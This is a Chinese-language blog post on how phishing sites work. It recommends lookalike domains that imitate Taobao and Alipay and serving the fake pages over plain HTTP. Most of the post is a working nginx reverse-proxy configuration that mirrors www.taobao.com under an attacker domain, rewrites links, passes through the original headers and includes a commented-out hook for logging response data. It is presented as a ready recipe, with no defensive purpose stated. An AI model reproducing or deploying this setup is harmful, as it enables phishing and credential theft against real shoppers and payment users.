关于钓鱼网站的实现原理与技术

最近闲的蛋疼~ 分析了一下钓鱼网站的原理与实现。

可选技术方案

1)域名蒙眼术;

2)dns支持;

dns劫持的关键是拥有客户端操作系统的权限,比如给用户发一些病毒程序,安装浏览器插件这类来实现,这里主要讨论web技术。


蒙眼术,比如:www.taobao.com是淘宝的域名,那我可以申请买个域名:www.taobao.com.xx.cn(注意红色才是真正的域名),普通用户不注意的话,是不会注意到域名上的区别了~

对于交易网站通常都是https开头的,这个证书是很难伪造的,当然能够入侵客户的操作系统也是可以搞定的,这个不谈。怎么办?我们不使用https就行了呗。还是上面说的,比如

https://pay.alipay.com,我们可以使用http://pay.alipay.com.xx.cn,用户发现了,那就认了~~


接下来,就是重点,后端的http服务如何提供,熟悉nginx 反向代理之类软件的人敢说so easy~

发现一个类似的网站,可以参考这个网站:http://www.cncache.info

好了,上代码。简单的实现其实没这么复杂,这里还加入了静态文件缓存,网页中的域名替换。



#cache begin 用于静态资源缓存
proxy_buffering on;
proxy_cache_valid 200 204 1h; #default valid period
proxy_cache_path /work/cache levels=1:2 keys_zone=my-cache:8m max_size=5000m inactive=600m;
proxy_temp_path /work/temp;
proxy_buffer_size 4k;
proxy_buffers 100 8k;
#cache end


server {
        listen       80;
        server_name  www.taobao.com.xxx.com;
set $ori_server "www.taobao.com";
set $resp_body "";
set $req_dir "/";

#url替换
sub_filter $ori_server  $host; #subs_filter not support variables
sub_filter_once off;
subs_filter_types text/html;

#图片链使用原站的
subs_filter ((href|src|background)=['"])((?!http:)(?!https:)[^/]([./?%&=\w-]+)\.(gif|jpeg|jpg|png|js|css)([?][./?%&=\w-]+)?['"]) $1http://$ori_server$req_dir/$3 ir;
subs_filter ((href|src|background)=['"])((/[./?%&=\w-]+)\.(gif|jpeg|jpg|png|js|css)([?][./?%&=\w-]+)?['"]) $1http://$ori_server$3 ir;

#头信息伪装
proxy_set_header Accept-Encoding ""; #gzip not support
proxy_set_header X-Forward-For $remote_addr; #transfer client ip to dest server
proxy_pass_header Server; #transfer ori header[Server] to browser
proxy_cache my-cache;

#首页
location  ~* ^/(index.htm|index.html)?$ { # //index.htm /index.html
proxy_pass  http://$ori_server;      
}

location  ~* \.(js|css)$ {
proxy_pass  http://$ori_server;
#TODO replace url
}

location  ~* (favicon.ico|\.(gif|jpeg|jpg|png))$ {
proxy_pass  http://$ori_server;
}

        location /{
if ( $request_uri ~* "(.*)?/[^/]*$" ){
set $req_dir $1;
}
proxy_pass  http://$ori_server;


#log data
#if ($request_uri ~* "(/getDepartments.do)"){
#body_filter_by_lua 'ngx.var.resp_body =ngx.var.resp_body..ngx.arg[1];';
#}
        }


        #error_page  404              /404.html;
        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }


        
}

你可能感兴趣的:(关于钓鱼网站的实现原理与技术)